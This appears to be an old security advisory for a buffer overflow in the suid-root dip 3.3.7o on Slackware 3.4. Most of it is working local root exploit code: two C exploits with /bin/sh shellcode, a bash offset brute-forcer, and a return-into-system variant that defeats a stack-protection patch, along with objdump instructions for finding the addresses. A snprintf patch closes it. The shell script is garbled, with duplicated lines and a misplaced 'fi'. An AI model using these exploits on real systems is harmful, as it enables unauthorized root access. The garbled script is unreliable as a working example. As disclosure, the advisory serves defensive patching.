COMMAND

    dip

SYSTEMS AFFECTED

    Linux (with dip-3.3.7o - Slackware 3.4)

PROBLEM

    Goran Gajic found following.  There is potencial security hole  in
    dip-3.3.7o  which  is  installed   suid  root  in  Slackware   3.4
    distribution (if selected). Just try this:

        ~> dip -k -l `perl -e 'print "a" x 2000'`

    and you will get something like:

        DIP: cannot open /var/lock/LCK..aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
        aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
        aaaaaaaaaaaaaaaaaaa:No such file or directory
        Segmentation fault

    If you look dip source, main.c,  or do strace, you will find  that
    problem is with sprintf, line 192:

        sprintf(buf, "%s/LCK..%s", _PATH_LOCKD, nam);

    Exploit follows (3.3.7o, 3.3.7 and some 3.3.7 cooking):

    /*
      dip 3.3.7o buffer overflow exploit for Linux. (May 7, 1998)
      coded by jamez. e-mail: jamez@uground.org

      thanks to all ppl from uground.

      usage:
         gcc -o dip-exp dip3.3.7o-exp.c
         ./dip-exp offset (-100 to 100. probably 0. tested on slack 3.4)
    */


    char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";


    #define SIZE 130
    /* cause it's a little buffer, i wont use NOP's */

    char buffer[SIZE];


    unsigned long get_esp(void) {
       __asm__("movl %esp,%eax");
    }


    void main(int argc, char * argv[])
    {
      int i = 0,
          offset = 0;
      long addr;


      if(argc > 1) offset = atoi(argv[1]);

      addr = get_esp() - offset - 0xcb;

      for(i = 0; i < strlen(shellcode); i++)
         buffer[i] = shellcode[i];

      for (; i < SIZE; i += 4)
      {
         buffer[i  ] =  addr & 0x000000ff;
         buffer[i+1] = (addr & 0x0000ff00) >> 8;
         buffer[i+2] = (addr & 0x00ff0000) >> 16;
         buffer[i+3] = (addr & 0xff000000) >> 24;
      }

      buffer[SIZE - 1] = 0;

      execl("/sbin/dip", "dip", "-k", "-l", buffer, (char *)0);
    }

    And another example of code is:

    /*
     * dip-3.3.7o buffer overrun                            07 May 1998
     *
     * sintax: ./dipr <offset>
     *
     *
     *   offset: try increments of 50 between 1500 and 3000
     *
     *   tested in linux with dip version 3.3.7o (slak 3.4).
     *
     *                by zef and r00t @promisc.net
     *
     *                   http://www.promisc.net
     */

    #include <stdio.h>
    #include <stdlib.h>

    static inline getesp()
    {
      __asm__(" movl %esp,%eax ");
    }

    main(int argc, char **argv)
    {
      int jump,i,n;
      unsigned long xaddr;
      char *cmd[5], buf[4096];


    char code[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";

      jump=atoi(argv[1]);

      for (i=0;i<68;i++)
        buf[i]=0x41;

      for (n=0,i=68;i<113;i++)
        buf[i]=code[n++];

      xaddr=getesp()+jump;

      buf[i]=xaddr & 0xff;
      buf[i+1]=(xaddr >> 8) & 0xff;
      buf[i+2]=(xaddr >> 16) & 0xff;
      buf[i+3]=(xaddr >> 24) & 0xff;

      buf[i+4]=xaddr & 0xff;
      buf[i+5]=(xaddr >> 8) & 0xff;
      buf[i+6]=(xaddr >> 16) & 0xff;
      buf[i+6]=(xaddr >> 16) & 0xff;
      buf[i+7]=(xaddr >> 24) & 0xff;

      cmd[0]=malloc(17);
      strcpy(cmd[0],"/sbin/dip-3.3.7o");

      cmd[1]=malloc(3);
      strcpy(cmd[1],"-k");

      cmd[2]=malloc(3);
      strcpy(cmd[2],"-l");

      cmd[3]=buf;

      cmd[4]=NULL;

      execve(cmd[0],cmd,NULL);
    }

    Here's the shell script for easy testing (for second code):

    #/bin/bash
    if [ ! -x /sbin/dip-3.3.7o ]
    then
      echo "could not find file \"/sbin/dip-3.3.7o\"";
      exit -1
    fi
    if [ ! -u /sbin/dip-3.3.7o ]
    then
      echo "dip executable is not suid"
      exit -1
    fi
    if [ ! -x ./dipr ]
    then
      echo "could not find file \"./dipr\"";
      echo "try compiling dipr.c"
      exit -1
    fi

    x=2000
    false
    while [ $x -lt 3000 -a $? -ne 0 ]
    fi
    if [ ! -u /sbin/dip-3.3.7o ]
    then
      echo "dip executable is not suid"
      exit -1
    fi
    if [ ! -x ./dipr ]
    then
      echo "could not find file \"./dipr\"";
      echo "try compiling dipr.c"
      exit -1
    fi

    x=2000
    false
    while [ $x -lt 3000 -a $? -ne 0 ]
    do
      echo offset=$x
      x=$[x+50]
      ./dipr $x
    done
    rm -f core

    Thomas Troeger wanted to see if we can get a shell out of it  even
    on  a  system  with  installed  stackpatch.   So  he develpoed the
    following recipe.  First, setup your directory like this:

        ln -s /bin/sh a
        ln -s /bin/sh aa
        ln -s /bin/sh aaa
        ln -s /bin/sh aaaa
        ln -s /bin/sh aaaaa
        ln -s /bin/sh aaaaaa
        ln -s /bin/sh aaaaaaa

        ln -s /usr/sbin/dip vul

    Get the dip-3.3.7o-uri package and uncompress it. Take main.c  and
    edit it the following:

    -------------- dip-3.3.7o/main.c line 194+ -----------------------
        fp = fopen(buf, "r");
        if (fp == (FILE *)0) {
        fprintf(stderr, "DIP: cannot open %s: %s\n",
            buf, strerror(errno));
    +   fprintf(stderr, "labels: %p %p\n", &system, nam);
            return;
        }
    ------------------------------------------------------------------

    Of course you can juat use gdb and issue the "p system" command as
    well, that avoids  getting the package.   Now compile and  run it,
    you get:

        pigsnspace$ dip -k -l aaaa
        DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
        Written by Fred N. van Kempen, MicroWalt Corporation.

        DIP: cannot open /usr/spool/uucp/LCK..aaaa: No such file or directory
        labels: 0x80493e8 0xbffff6f0

    Insert the first number you get into the following exploit:

    /*
     * Programm to get a shell from dip-3.3.7p on a system with
     * Solar Designer's stackpatch installed.
     * by tstroege@cip.informatik.uni-erlangen.de
     *
     * Of course this is just for educational purposes too :)
     */

    #define SOMETEXT 0x0804cee5
    /* address of text system call */

    #define CMDSTR 0x08054f0e
    /* address where command string should be */

    #define DIP "/usr/sbin/dip"
    /* path of dip */

    int main(int argc, char *argv[]) {
      char mem[256], *ptr;
      char *name[]={ DIP, "-k", "-l", mem, (char *)0 };
      int i, code[]={ SOMETEXT, CMDSTR, 0 };
      int off=117;

      if (argc > 1) off=atoi(argv[1]);

      for (ptr=mem, i=0; i < 256; i++) *ptr++='a';
      ptr=mem+off;
      strcpy(ptr, (char *)&(code[0]));
      mem[255]=0;
      execve(name[0], name, 0);
      return 0;
    }

    SOMETEXT:
     address in text segment where system is called.

    CMDSTR:
     address in text segment where a suitable command string is stored
     (dip is nice enough to have a /bin/sh string in its code).

    The both addresses will be different on your system, so here is  a
    way to find them out:

        ...
        objdump --disassemble-all /usr/sbin/dip
        ...

    Now search for the following pattern:

           ...
           0804ced4 pushl  %ebx
           0804ced5 pushl  $0x8054848
           0804ceda pushl  $0x6
           0804cedc call   08049678
           0804cee1 addl   $0xc,%esp
           0804cee4 pushl  %ebx
        -->0804cee5 call   080493c8        SOMETEXT
           0804ceea addl   $0x4,%esp
           0804ceed testl  %eax,%eax
           0804ceef jne    0804cf9e
           0804cef5 pushl  %esi
           0804cef6 movl   0x8(%ebp),%eax
           0804cef9 movl   0x660(%eax),%eax
           0804ceff pushl  %eax
           ...
           0804eefd leal   0xfffffc00(%ebp),%eax
           0804ef03 pushl  %eax
           0804ef04 pushl  $0x8054f08
           0804ef09 pushl  $0x8054f0b
           0804ef0e pushl  $0x8054f0e<--   CMDSTR
           0804ef13 call   08049368
           0804ef18 pushl  $0x7f
           0804ef1a call   08049768
           0804ef1f nop
           ...

SOLUTION

    Here is obvious patch:

    --- main.c      Tue Feb 13 03:03:35 1996
    +++ main.c      Mon May  4 23:36:49 1998
    @@ -189,7 +189,7 @@
         return;
       }

    -  sprintf(buf, "%s/LCK..%s", _PATH_LOCKD, nam);
    +  snprintf(buf, sizeof(buf), "%s/LCK..%s", _PATH_LOCKD, nam);

       fp = fopen(buf, "r");
       if (fp == (FILE *)0) {

    Or

        chmod -s dip